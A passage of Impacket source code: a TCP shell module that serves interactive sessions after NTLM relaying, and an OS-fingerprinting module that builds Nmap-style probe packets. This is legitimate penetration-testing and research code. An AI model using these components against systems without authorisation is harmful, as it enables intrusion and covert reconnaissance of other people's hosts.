    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   TCP interactive shell\n#\n#   Launches a TCP shell for interactive use of clients\n#   after successful relaying\n#\n# Author:\n#   Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)\n#\nimport socket\n#Default listen port\nport = 11000\nclass TcpShell:\n    def __init__(self):\n        global port\n        self.port = port\n        #Increase the default port for the next attack\n        port += 1\n\n    def listen(self):\n        #Set up the listening socket\n        serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        #Bind on localhost\n        serversocket.bind(('127.0.0.1', self.port))\n        #Don't allow a backlog\n        serversocket.listen(0)\n        self.connection, host = serversocket.accept()\n        #Create file objects from the socket\n        self.stdin = self.connection.makefile(\"r\")\n        self.stdout = self.connection.makefile(\"w\")\n\n    def close(self):\n        self.stdout.close()\n        self.stdin.close()\n        self.connection.close()\n"
  },
  {
    "path": "impacket/examples/os_ident.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport warnings\nfrom impacket import version\n\nwarnings.warn(\n    '\\n'+version.DEPRECATION_WARNING_BANNER,\n    DeprecationWarning,\n    stacklevel=2, \n)\n\nimport math\nimport array\nfrom six.moves import xrange, reduce\n\nfrom pcapy import lookupdev, open_live\nfrom impacket.ImpactPacket import UDP, TCPOption, Data, TCP, IP, ICMP, Ethernet\nfrom impacket.ImpactDecoder import EthDecoder\nfrom impacket import LOG\n\n\n\ng_nmap1_signature_filename=\"nmap-os-fingerprints\"\ng_nmap2_signature_filename=\"nmap-os-db\"\n\n\ndef my_gcd(a, b):\n    if a < b:\n        c = a\n        a = b\n        b = c\n\n    while 0 != b:\n        c = a & b\n        a = b\n        b = c\n    return a\n\nclass os_id_exception:\n    def __init__(self, value):\n        self.value = value\n    def __str__(self):\n        return repr(self.value)\n\nclass os_id_test:\n    \n    def __init__(self, id):\n        self.__id = id\n        self.__my_packet = None\n        self.__result_dict = {}\n\n    def test_id(self):\n        return self.__class__.__name__\n\n    def get_test_packet(self):\n        return self.__my_packet.get_packet()\n\n    def set_packet(self, packet):\n        self.__my_packet = packet\n\n    def get_packet(self):\n        return self.__my_packet\n        \n    def process(self, packet):\n        pass\n\n    def add_result(self, name, value):\n        self.__result_dict[name] = value\n                \n    def get_id(self):\n        return self.__id\n    def is_mine(self, packet):\n        pass\n\n    def get_result_dict(self):\n        return self.__result_dict;\n\n    def get_final_result(self):\n        \"Returns a string representation of the final result of this test or None if no response was received\"\n        pass\n\n\nclass icmp_request(os_id_test):\n    type_filter = { ICMP.ICMP_ECHO : ICMP.ICMP_ECHOREPLY,\n                    ICMP.ICMP_IREQ : ICMP.ICMP_IREQREPLY,\n                    ICMP.ICMP_MASKREQ : ICMP.ICMP_MASKREPLY,\n                    ICMP.ICMP_TSTAMP : ICMP.ICMP_TSTAMPREPLY }\n\n    def __init__(self, id, addresses, type):\n        os_id_test.__init__(self, id)\n        self.e = Ethernet()\n        self.i = IP()\n        self.icmp = ICMP()\n\n        self.i.set_ip_src(addresses[0])\n        self.i.set_ip_dst(addresses[1])\n\n        self.__type = type\n        self.icmp.set_icmp_type(type)\n        \n        self.e.contains(self.i)\n        self.i.contains(self.icmp)\n        self.set_packet(self.e)\n\n    def is_mine(self, packet):\n\n        if packet.get_ether_type() != IP.ethertype:\n            return 0\n        ip = packet.child()\n        if not ip or ip.get_ip_p() != ICMP.protocol:\n            return 0\n        icmp = ip.child()\n        \n        # icmp_request.type_filter is a dictionary that maps request \n        # type codes to the reply codes\n        \n        if not icmp or \\\n           icmp.get_icmp_type() != icmp_request.type_filter[self.__type]:\n            return 0\n        if icmp.get_icmp_id() != self.get_id():\n            return 0\n\n        return 1\n\n    def process(self, packet):\n        pass\n\n\nclass nmap2_icmp_echo_probe_1(icmp_request):\n    # The first one has the IP DF bit set, a type-of-service (TOS)  byte \n    # value of zero, a code of nine (even though it should be zero), \n    # the sequence number 295, a random IP ID and ICMP request identifier, \n    # and a random character repeated 120 times for the data payload.\n    sequence_number = 295\n    id = 0x5678\n\n    def __init__(self, id, addresses):\n        icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)\n        self.i.set_ip_df(True)\n        self.i.set_ip_tos(0)\n        self.icmp.set_icmp_code(9)\n        self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number)\n        self.i.set_ip_id(nmap2_icmp_echo_probe_1.id)\n        self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id)\n        self.icmp.contains(Data(\"I\" * 120))\n        \n    def process(self, packet):\n        pass\n\nclass nmap2_icmp_echo_probe_2(icmp_request):\n    # The second ping query is similar, except a TOS of four \n    # (IP_TOS_RELIABILITY) is used, the code is zero, 150 bytes of data is \n    # sent, and the IP ID, request ID, and sequence numbers are incremented \n    # by one from the previous query values.\n\n    def __init__(self, id, addresses):\n        icmp_request.__init__(self, id, addresses, ICMP.ICMP_ECHO)\n        self.i.set_ip_df(False)\n        self.i.set_ip_tos(4)\n        self.icmp.set_icmp_code(0)\n        self.icmp.set_icmp_seq(nmap2_icmp_echo_probe_1.sequence_number + 1)\n        self.i.set_ip_id(nmap2_icmp_echo_probe_1.id + 1)\n        self.icmp.set_icmp_id(nmap2_icmp_echo_probe_1.id + 1)\n        self.icmp.contains(Data(\"I\" * 150))\n        \n    def process(self, packet):\n        pass\n\nclass udp_closed_probe(os_id_test):\n\n    ip_id = 0x1234 # HARDCODED\n\n    def __init__(self, id, addresses, udp_closed ):\n\n        os_id_test.__init__(self, id )\n        self.e = Ethernet()\n        self.i = IP()\n        self.u = UDP()\n\n        self.i.set_ip_src(addresses[0])\n        self.i.set_ip_dst(addresses[1])\n        self.i.set_ip_id(udp_closed_probe.ip_id)\n        self.u.set_uh_sport(id)\n        \n        self.u.set_uh_dport( udp_closed )\n\n        self.e.contains(self.i)\n        self.i.contains(self.u)\n        self.set_packet(self.e)\n\n    def is_mine(self, packet):\n        if packet.get_ether_type() != IP.ethertype:\n            return 0\n        ip = packet.child()\n        if not ip or ip.get_ip_p() != ICMP.protocol:\n            return 0\n        icmp = ip.child()\n        if not icmp or icmp.get_icmp_type() != ICMP.ICMP_UNREACH:\n            return 0\n  \n        if icmp.get_icmp_code() != ICMP.ICMP_UNREACH_PORT:\n            return 0;\n        \n        \n        self.err_data = icmp.child()\n        if not self.err_data:\n            return 0\n        \n\n        return 1\n\n\nclass tcp_probe(os_id_test):\n\n    def __init__(self, id, addresses, tcp_ports, open_port ):\n\n        self.result_string = \"[]\"\n        os_id_test.__init__(self, id)\n        self.e = Ethernet()\n        self.i = IP()\n        self.t = TCP()\n        self.i.set_ip_src(addresses[0])\n        self.i.set_ip_dst(addresses[1])\n        self.i.set_ip_id(0x2323) # HARDCODED\n        self.t.set_th_sport(id)\n\n        if open_port:        \n            self.target_port = tcp_ports[0]\n        else:\n            self.target_port = tcp_ports[1]\n                \n        self.t.set_th_dport(self.target_port)\n        \n        self.e.contains(self.i)\n        self.i.contains(self.t)\n        self.set_packet(self.e)\n        \n        self.source_ip = addresses[0]\n        self.target_ip = addresses[1]\n\n    def socket_match(self, ip, tcp):\n        # scr ip and port\n        if (ip.get_ip_src() != self.target_ip) or (tcp.get_th_sport() != self.target_port):\n            return 0\n        # dst ip and port\n        if(ip.get_ip_dst() != self.source_ip) or (tcp.get_th_dport() != self.get_id()):\n            return 0\n        return 1\n\n    def is_mine(self, packet):\n        if packet.get_ether_type() != IP.ethertype:\n            return 0\n        ip = packet.child()\n        if not ip or ip.get_ip_p() != TCP.protocol:\n            return 0\n        tcp = ip.child()\n        if self.socket_match(ip, tcp):\n            return 1\n\n        return 0        \n\n\nclass nmap_tcp_probe(tcp_probe):\n\n    def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):\n        tcp_probe.__init__(self, id, addresses, tcp_ports, open_port)\n        self.t.set_th_seq(sequence)\n        self.set_resp(False)\n        for op in options:\n            self.t.add_option(op)\n\n    def set_resp(self,resp):\n        pass\n\nclass nmap1_tcp_probe(nmap_tcp_probe):\n    sequence = 0x8453 # 0xBASE, obviously\n    mss = 265\n\n    # From: https://nmap.org/nmap-fingerprinting-old.html\n    # [...]\n    # Nmap sends these options along with almost every probe packet:\n    #   Window Scale=10; NOP; Max Segment Size = 265; Timestamp; End of Ops;\n    # [...]\n    # From nmap-4.22SOC8/osscan.cc:get_fingerprint(...)\n    # [...]\n    # \"\\003\\003\\012\\001\\002\\004\\001\\011\\010\\012\\077\\077\\077\\077\\000\\000\\000\\000\\000\\000\"\n    # [...]\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\\003\\003\\012\n        TCPOption(TCPOption.TCPOPT_NOP), #\\001\n        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\\002\\004\\001\\011\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0x3F3F3F3F), #\\010\\012\\077\\077\\077\\077\\000\\000\\000\\000\n        TCPOption(TCPOption.TCPOPT_EOL), #\\000\n        TCPOption(TCPOption.TCPOPT_EOL) #\\000\n    ]\n\n    def __init__(self, id, addresses, tcp_ports, open_port):\n        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, \n                                self.sequence, self.tcp_options)\n\n    def set_resp(self,resp):\n        if resp:\n            self.add_result(\"Resp\", \"Y\")\n        else:\n            self.add_result(\"Resp\", \"N\")\n\n    def process(self, packet):\n        ip = packet.child()\n        tcp = ip.child()\n\n        self.set_resp(True)\n\n        if ip.get_ip_df():\n            self.add_result(\"DF\", \"Y\")\n        else:\n            self.add_result(\"DF\", \"N\")\n\n        self.add_result(\"W\", tcp.get_th_win())\n\n        if tcp.get_th_ack() == self.sequence + 1:\n            self.add_result(\"ACK\", \"S++\")\n        elif tcp.get_th_ack() == self.sequence:\n            self.add_result(\"ACK\", \"S\")\n        else:\n            self.add_result(\"ACK\", \"O\")\n\n        flags = []\n\n        # TCP flags\n        if tcp.get_ECE():\n            flags.append(\"B\")\n        if tcp.get_URG():\n            flags.append(\"U\")\n        if tcp.get_ACK():\n            flags.append(\"A\")\n        if tcp.get_PSH():\n            flags.append(\"P\")\n        if tcp.get_RST():\n            flags.append(\"R\")\n        if tcp.get_SYN():\n            flags.append(\"S\")\n        if tcp.get_FIN():\n            flags.append(\"F\")\n\n        self.add_result(\"FLAGS\", flags)\n\n        options = []\n\n        for op in tcp.get_options():\n            if op.get_kind() == TCPOption.TCPOPT_EOL:\n                options.append(\"L\")\n            elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:\n                options.append(\"M\")\n                if op.get_mss() == self.mss:\n                    options.append(\"E\") # Echoed\n            elif op.get_kind() == TCPOption.TCPOPT_NOP:\n                options.append(\"N\")\n            elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:\n                options.append(\"T\")\n            elif op.get_kind() == TCPOption.TCPOPT_WINDOW:\n                options.append(\"W\")\n\n        self.add_result(\"OPTIONS\", options)\n\n    def get_final_result(self):\n        return {self.test_id(): self.get_result_dict()}\n\n\nclass nmap2_tcp_probe(nmap_tcp_probe):\n    acknowledgment = 0x181d4f7b\n\n    def __init__(self, id, addresses, tcp_ports, open_port, sequence, options):\n        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, \n                                sequence, options)\n        self.t.set_th_ack(self.acknowledgment)\n\n    def set_resp(self,resp):\n        # Responsiveness (R)\n        # This test simply records whether the target responded to a given probe. \n        # Possible values are Y and N. If there is no reply, remaining fields \n        # for the test are omitted.\n        if resp:\n            self.add_result(\"R\", \"Y\")\n        else:\n            self.add_result(\"R\", \"N\")\n\n    def process(self, packet):\n        ip = packet.child()\n        tcp = ip.child()\n\n        # R, DF, T*, TG*, W, S, A, F, O, RD*, Q\n        self.set_resp(True)\n\n        tests = nmap2_tcp_tests(ip, tcp, self.sequence, self.acknowledgment)\n\n        self.add_result(\"DF\", tests.get_df())\n        self.add_result(\"W\", tests.get_win())\n        self.add_result(\"S\", tests.get_seq())\n        self.add_result(\"A\", tests.get_ack())\n        self.add_result(\"F\", tests.get_flags())\n        self.add_result(\"O\", tests.get_options())\n        self.add_result(\"Q\", tests.get_quirks())\n\n    def get_final_result(self):\n        return {self.test_id() : self.get_result_dict()}\n\n\nclass nmap2_ecn_probe(nmap_tcp_probe):\n    # From nmap-4.22SOC8/osscan2.cc:\n    # [...]\n    # \"\\003\\003\\012\\001\\002\\004\\005\\264\\004\\002\\001\\001\"\n    # [...]\n\n    # From: https://nmap.org/book/osdetect-methods.html\n    # [...]\n    # This probe tests for explicit congestion notification (ECN) support \n    # in the target TCP stack. ECN is a method for improving Internet \n    # performance by allowing routers to signal congestion problems before \n    # they start having to drop packets. It is documented in RFC 3168. \n    # Nmap tests this by sending a SYN packet which also has the ECN CWR \n    # and ECE congestion control flags set. For an unrelated (to ECN) test, \n    # the urgent field value of 0xF7F5 is used even though the urgent flag \n    # is not set. The acknowledgment number is zero, sequence number is \n    # random, window size field is three, and the reserved bit which \n    # immediately precedes the CWR bit is set. TCP options are WScale (10), \n    # NOP, MSS (1460), SACK permitted, NOP, NOP. The probe is sent to an \n    # open port.\n    # [...]\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\\003\\003\\012\n        TCPOption(TCPOption.TCPOPT_NOP), #\\001\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 1460), #\\002\\004\\005\\0264\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED), #\\004\\002\n        TCPOption(TCPOption.TCPOPT_NOP), #\\001\n        TCPOption(TCPOption.TCPOPT_NOP) #\\001\n    ]\n\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, \n                                0x8b6a, self.tcp_options)\n        self.t.set_SYN()\n        self.t.set_CWR()\n        self.t.set_ECE()\n        self.t.set_flags(0x800)\n        self.t.set_th_urp(0xF7F5)\n        self.t.set_th_ack(0)\n        self.t.set_th_win(3)\n        #self.t.set_th_flags(self.t.get_th_flags() | 0x0100) # 0000 0001 00000000\n\n    def test_id(self):\n        return \"ECN\"\n\n    def set_resp(self,resp):\n        if resp:\n            self.add_result(\"R\", \"Y\")\n        else:\n            self.add_result(\"R\", \"N\")\n\n    def process(self, packet):\n        ip = packet.child()\n        tcp = ip.child()\n\n        # R, DF, T*, TG*, W, O, CC, Q\n        self.set_resp(True)\n\n        tests = nmap2_tcp_tests(ip, tcp, 0, 0)\n\n        self.add_result(\"DF\", tests.get_df())\n        self.add_result(\"W\", tests.get_win())\n        self.add_result(\"O\", tests.get_options())\n        self.add_result(\"CC\", tests.get_cc())\n        self.add_result(\"Q\", tests.get_quirks())\n\n    def get_final_result(self):\n        return {self.test_id() : self.get_result_dict()}\n\nclass nmap2_tcp_tests:\n    def __init__(self, ip, tcp, sequence, acknowledgment):\n        self.__ip = ip\n        self.__tcp = tcp\n        self.__sequence = sequence\n        self.__acknowledgment = acknowledgment\n\n    def get_df(self):\n        # IP don't fragment bit (DF)\n        # The IP header contains a single bit which forbids routers from fragmenting \n        # a packet. If the packet is too large for routers to handle, they will just \n        # have to drop it (and ideally return a \"destination unreachable,\n        # fragmentation needed\" response). This test records Y if the bit is set, \n        # and N if it isn't.\n        if self.__ip.get_ip_df():\n            return \"Y\"\n        else:\n            return \"N\"\n\n    def get_win(self):\n        # TCP initial window size (W, W1-W6)\n        # This test simply records the 16-bit TCP window size of the received packet. \n        return \"%X\" % self.__tcp.get_th_win()\n\n    def get_ack(self):\n        # TCP acknowledgment number (A)\n        # This test is the same as S except that it tests how the acknowledgment \n        # number in the response compares to the sequence number in the \n        # respective probe.\n        # Value\tDescription\n        # Z\t    Acknowledgment number is zero.\n        # S\t    Acknowledgment number is the same as the sequence number in the probe.\n        # S+\tAcknowledgment number is the same as the sequence number in the probe plus one.\n        # O\t    Acknowledgment number is something else (other).\n        if self.__tcp.get_th_ack() == self.__sequence + 1:\n            return \"S+\"\n        elif self.__tcp.get_th_ack() == self.__sequence:\n            return \"S\"\n        elif self.__tcp.get_th_ack() == 0:\n            return \"Z\"\n        else:\n            return \"O\"\n\n    def get_seq(self):\n        # TCP sequence number (S)\n        # This test examines the 32-bit sequence number field in the TCP \n        # header. Rather than record the field value as some other tests \n        # do, this one examines how it compares to the TCP acknowledgment \n        # number from the probe that elicited the response. \n        # Value\t    Description\n        # Z\t        Sequence number is zero.\n        # A\t        Sequence number is the same as the acknowledgment number in the probe.\n        # A+\t    Sequence number is the same as the acknowledgment number in the probe plus one.\n        # O\t        Sequence number is something else (other).\n        if self.__tcp.get_th_seq() == self.__acknowledgment + 1:\n            return \"A+\"\n        elif self.__tcp.get_th_seq() == self.__acknowledgment:\n            return \"A\"\n        elif self.__tcp.get_th_seq() == 0:\n            return \"Z\"\n        else:\n            return \"O\"\n\n    def get_flags(self):\n        # TCP flags (F)\n        # This field records the TCP flags in the response. Each letter represents \n        # one flag, and they occur in the same order as in a TCP packet (from \n        # high-bit on the left, to the low ones). So the value SA represents the \n        # SYN and ACK bits set, while the value AS is illegal (wrong order). \n        # The possible flags are shown in Table 8.7.\n        # Character\tFlag name\t            Flag byte value\n        # E\t        ECN Echo (ECE)\t        64\n        # U\t        Urgent Data (URG)\t    32\n        # A\t        Acknowledgment (ACK)\t16\n        # P\t        Push (PSH)\t            8\n        # R\t        Reset (RST)\t            4\n        # S\t        Synchronize (SYN)\t    2\n        # F\t        Final (FIN)\t            1\n        \n        flags = \"\"\n\n        if self.__tcp.get_ECE():\n            flags += \"E\"\n        if self.__tcp.get_URG():\n            flags += \"U\"\n        if self.__tcp.get_ACK():\n            flags += \"A\"\n        if self.__tcp.get_PSH():\n            flags += \"P\"\n        if self.__tcp.get_RST():\n            flags += \"R\"\n        if self.__tcp.get_SYN():\n            flags += \"S\"\n        if self.__tcp.get_FIN():\n            flags += \"F\"\n\n        return flags\n\n    def get_options(self):\n        # Option Name\t                    Character    Argument (if any)\n        # End of Options List (EOL)\t        L\t         \n        # No operation (NOP)\t            N\t         \n        # Maximum Segment Size (MSS)\t    M\t         The value is appended. Many systems \n        #                                                echo the value used in the corresponding probe.\n        # Window Scale (WS)\t                W\t         The actual value is appended.\n        # Timestamp (TS)\t                T\t         The T is followed by two binary characters \n        #                                                representing the TSval and TSecr values respectively. \n        #                                                The characters are 0 if the field is zero \n        #                                                and 1 otherwise.\n        # Selective ACK permitted (SACK)\tS\t        \n\n        options = \"\"\n        \n        for op in self.__tcp.get_options():\n            if op.get_kind() == TCPOption.TCPOPT_EOL:\n                options += \"L\"\n            elif op.get_kind() == TCPOption.TCPOPT_MAXSEG:\n                options += \"M%X\" % (op.get_mss())\n            elif op.get_kind() == TCPOption.TCPOPT_NOP:\n                options += \"N\"\n            elif op.get_kind() == TCPOption.TCPOPT_TIMESTAMP:\n                options += \"T%i%i\" % (int(op.get_ts()!=0),\n                                      int(op.get_ts_echo()!=0))\n            elif op.get_kind() == TCPOption.TCPOPT_WINDOW:\n                options += \"W%X\" % (op.get_shift_cnt())\n            elif op.get_kind() == TCPOption.TCPOPT_SACK_PERMITTED:\n                options += \"S\"\n\n        return options\n\n    def get_cc(self):\n        # Explicit congestion notification (CC)\n        # This test is only used for the ECN probe. That probe is a SYN packet \n        # which includes the CWR and ECE congestion control flags. When the \n        # response SYN/ACK is received, those flags are examined to set the \n        # CC (congestion control) test value as described in Table 8.3.\n\n        # Table 8.3. CC test values\n        # Value\tDescription\n        # Y\t    Only the ECE bit is set (not CWR). This host supports ECN.\n        # N\t    Neither of these two bits is set. The target does not support \n        #       ECN.\n        # S\t    Both bits are set. The target does not support ECN, but it \n        #       echoes back what it thinks is a reserved bit.\n        # O\t    The one remaining combination of these two bits (other).\n        ece, cwr = self.__tcp.get_ECE(), self.__tcp.get_CWR()\n        if ece and not cwr:\n            return \"Y\"\n        elif not ece and not cwr:\n            return \"N\"\n        elif ece and cwr:\n            return \"S\"\n        else:\n            return \"O\"\n\n    def get_quirks(self):\n        # TCP miscellaneous quirks (Q)\n        # This tests for two quirks that a few implementations have in their \n        # TCP stack. The first is that the reserved field in the TCP header \n        # (right after the header length) is nonzero. This is particularly \n        # likely to happen in response to the ECN test as that one sets a \n        # reserved bit in the probe. If this is seen in a packet, an \"R\"\n        # is recorded in the Q string.\n\n        # The other quirk Nmap tests for is a nonzero urgent pointer field \n        # value when the URG flag is not set. This is also particularly \n        # likely to be seen in response to the ECN probe, which sets a \n        # non-zero urgent field. A \"U\" is appended to the Q string when \n        # this is seen.\n\n        # The Q string must always be generated in alphabetical order. \n        # If no quirks are present, the Q test is empty but still shown.\n\n        quirks = \"\"\n\n        if ((self.__tcp.get_th_flags() >> 8) & 0x0f) != 0:\n            quirks += \"R\"\n        if self.__tcp.get_URG() == 0 and self.__tcp.get_th_urp() != 0:\n            quirks += \"U\"\n\n        return quirks\n\nclass nmap2_tcp_probe_2_6(nmap2_tcp_probe):\n    sequence = 0x8453 # 0xBASE, obviously\n    mss = 265\n\n    # From nmap-4.22SOC8/osscan2.cc:\n    # [...]\n    # \"\\003\\003\\012\\001\\002\\004\\001\\011\\010\\012\\377\\377\\377\\377\\000\\000\\000\\000\\004\\002\"\n    # [...]\n\n    # From: https://nmap.org/book/osdetect-methods.html\n    # [...]\n    # The six T2 through T7 tests each send one TCP probe packet. \n    # With one exception, the TCP options data in each case is (in hex) \n    # 03030A0102040109080AFFFFFFFF000000000402. \n    # Those 20 bytes correspond to window scale (10), NOP, MSS (265), \n    # Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), then SACK permitted. \n    # (...\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_WINDOW, 0o12), #\\003\\003\\012\n        TCPOption(TCPOption.TCPOPT_NOP), #\\001\n        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\\002\\004\\001\\011\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\\010\\012\\377\\377\\377\\377\\000\\000\\000\\000\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\\004\\002\n    ]\n\n    def __init__(self, id, addresses, tcp_ports, open_port):\n        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, \n                                 self.sequence, self.tcp_options)\n\nclass nmap2_tcp_probe_7(nmap2_tcp_probe):\n    sequence = 0x8453 # 0xBASE, obviously\n    mss = 265\n\n    # ...)\n    # The exception is that T7 uses a Window scale value of 15 rather than 10\n    # [...]\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_WINDOW, 0o17), #\\003\\003\\017\n        TCPOption(TCPOption.TCPOPT_NOP), #\\001\n        TCPOption(TCPOption.TCPOPT_MAXSEG, mss), #\\002\\004\\001\\011\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF), #\\010\\012\\377\\377\\377\\377\\000\\000\\000\\000\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED) #\\004\\002\n    ]\n\n    def __init__(self, id, addresses, tcp_ports, open_port):\n        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, open_port, \n                                 self.sequence, self.tcp_options)\n\nclass nmap_port_unreachable(udp_closed_probe):\n\n    def __init__(self, id, addresses, ports):\n        udp_closed_probe.__init__(self, id, addresses, ports[2])\n        self.set_resp(False)\n\n    def test_id(self):\n        pass\n\n    def set_resp(self, resp):\n        pass\n\n    def process(self, packet):\n        pass\n\nclass nmap1_port_unreachable(nmap_port_unreachable):\n\n    def __init__(self, id, addresses, ports):\n        nmap_port_unreachable.__init__(self, id, addresses, ports)\n        self.u.contains(Data(\"A\" * 300))\n\n    def test_id(self):\n        return \"PU\"\n\n    def set_resp(self,resp):\n        if resp:\n            self.add_result(\"Resp\", \"Y\")\n        else:\n            self.add_result(\"Resp\", \"N\")\n\n    def process(self, packet):\n        ip_orig = self.err_data\n        if ip_orig.get_ip_p() != UDP.protocol:\n            return\n\n        udp = ip_orig.child()\n\n        if not udp:\n            return\n\n        ip = packet.child()\n\n        self.set_resp(True)\n\n        if ip.get_ip_df():\n            self.add_result(\"DF\", \"Y\")\n        else:\n            self.add_result(\"DF\", \"N\")\n\n        self.add_result(\"TOS\", ip.get_ip_tos())\n\n        self.add_result(\"IPLEN\", ip.get_ip_len())\n\n        self.add_result(\"RIPTL\", ip_orig.get_ip_len()) # Some systems return a different IPLEN\n\n        recv_ip_id = ip_orig.get_ip_id()\n        if 0 == recv_ip_id:\n            self.add_result(\"RID\", \"0\")\n        elif udp_closed_probe.ip_id == recv_ip_id:\n            self.add_result(\"RID\", \"E\")\n        else:\n            self.add_result(\"RID\", \"F\")\n\n        ip_sum = ip_orig.get_ip_sum()\n        ip_orig.set_ip_sum(0)\n        checksum = ip_orig.compute_checksum(ip_orig.get_bytes())\n\n        if 0 == checksum:\n            self.add_result(\"RIPCK\", \"0\")\n        elif checksum == ip_sum:\n            self.add_result(\"RIPCK\", \"E\")\n        else:\n            self.add_result(\"RIPCK\", \"F\")\n\n        udp_sum = udp.get_uh_sum()\n        udp.set_uh_sum(0)\n        udp.auto_checksum = 1\n        udp.calculate_checksum()\n\n        if 0 == udp_sum:\n            self.add_result(\"UCK\", \"0\")\n        elif self.u.get_uh_sum() == udp_sum:\n            self.add_result(\"UCK\", \"E\")\n        else:\n            self.add_result(\"UCK\", \"F\")\n            \n        self.add_result(\"ULEN\", udp.get_uh_ulen())\n\n        if ip.child().child().child().child() == udp.child(): # Some systems meddle with the data\n            self.add_result(\"DAT\", \"E\")\n        else:\n            self.add_result(\"DAT\", \"F\")\n\n    def get_final_result(self):\n        return {self.test_id(): self.get_result_dict()}        \n\nclass nmap2_port_unreachable(nmap_port_unreachable):\n    # UDP (U1)\n    # This probe is a UDP packet sent to a closed port. The character 'C'\n    # (0x43) is repeated 300 times for the data field. The IP ID value is \n    # set to 0x1042 for operating systems which allow us to set this. If \n    # the port is truly closed and there is no firewall in place, Nmap \n    # expects to receive an ICMP port unreachable message in return. \n    # That response is then subjected to the R, DF, T, TG, TOS, IPL, UN, \n    # RIPL, RID, RIPCK, RUCK, RUL, and RUD tests. \n    def __init__(self, id, addresses, ports):\n        nmap_port_unreachable.__init__(self, id, addresses, ports)\n        self.u.contains(Data(\"C\" * 300))\n        self.i.set_ip_id(0x1042)\n\n    def test_id(self):\n        return \"U1\"\n\n    def set_resp(self,resp):\n        if resp:\n            self.add_result(\"R\", \"Y\")\n        else:\n            self.add_result(\"R\", \"N\")\n\n    def process(self, packet):\n        ip_orig = self.err_data\n        if ip_orig.get_ip_p() != UDP.protocol:\n            return\n\n        udp = ip_orig.child()\n\n        if not udp:\n            return\n\n        ip = packet.child()\n\n        icmp = ip.child()\n\n        if ip.get_ip_df():\n            self.add_result(\"DF\", \"Y\")\n        else:\n            self.add_result(\"DF\", \"N\")\n\n    # XXX T\n        # IP initial time-to-live (T)\n        # IP packets contain a field named time-to-live (TTL) which is \n        # decremented every time they traverse a router. If the field \n        # reaches zero, the packet must be discarded. This prevents \n        # packets from looping endlessly. Because operating systems differ \n        # on which TTL they start with, it can be used for OS detection. \n        # Nmap determines how many hops away it is from the target by \n        # examining the ICMP port unreachable response to the U1 probe. \n        # That response includes the original IP packet, including the \n        # already-decremented TTL field, received by the target. By \n        # subtracting that value from our as-sent TTL, we learn how many \n        # hops away the machine is. Nmap then adds that hop distance to \n        # the probe response TTL to determine what the initial TTL was \n        # when that ICMP probe response packet was sent. That initial TTL \n        # value is stored in the fingerprint as the T result.\n        # Even though an eight-bit field like TTL can never hold values \n        # greater than 0xFF, this test occasionally results in values of \n        # 0x100 or higher. This occurs when a system (could be the source, \n        # a target, or a system in between) corrupts or otherwise fails to\n        # correctly decrement the TTL. It can also occur due to asymmetric \n        # routes.\n\n    # XXX TG\n        # IP initial time-to-live guess (TG)\n        # It is not uncommon for Nmap to receive no response to the U1 probe, \n        # which prevents Nmap from learning how many hops away a target is. \n        # Firewalls and NAT devices love to block unsolicited UDP packets. \n        # But since common TTL values are spread well apart and targets are \n        # rarely more than 20 hops away, Nmap can make a pretty good guess \n        # anyway. Most systems send packets with an initial TTL of 32, 60, 64, \n        # 128, or 255. So the TTL value received in the response is rounded \n        # up to the next value out of 32, 64, 128, or 255. 60 is not in that \n        # list because it cannot be reliably distinguished from 64. It is \n        # rarely seen anyway. \n        # The resulting guess is stored in the TG field. This TTL guess field \n        # is not printed in a subject fingerprint if the actual TTL (T) value \n        # was discovered.\n\n        # IP type of service (TOS)\n        # This test simply records the type of service byte from the \n        # IP header of ICMP port unreachable packets. \n        # This byte is described in RFC 791\n        self.add_result(\"TOS\", \"%X\" % ip.get_ip_tos())\n\n        # IP total length (IPL)\n        # This test records the total length (in octets) of an IP packet. \n        # It is only used for the port unreachable response elicited by the \n        # U1 test.\n        self.add_result(\"IPL\", \"%X\" % ip.get_ip_len())\n\n        # Unused port unreachable field nonzero (UN)\n        # An ICMP port unreachable message header is eight bytes long, but \n        # only the first four are used. RFC 792 states that the last four \n        # bytes must be zero. A few implementations (mostly ethernet switches \n        # and some specialized embedded devices) set it anyway. The value of \n        # those last four bytes is recorded in this field.\n        self.add_result(\"UN\", \"%X\" % icmp.get_icmp_void()) \n\n        # Returned probe IP total length value (RIPL)\n        # ICMP port unreachable messages (as are sent in response to the U1 \n        # probe) are required to include the IP header which generated them. \n        # This header should be returned just as they received it, but some \n        # implementations send back a corrupted version due to changes they \n        # made during IP processing. This test simply records the returned \n        # IP total length 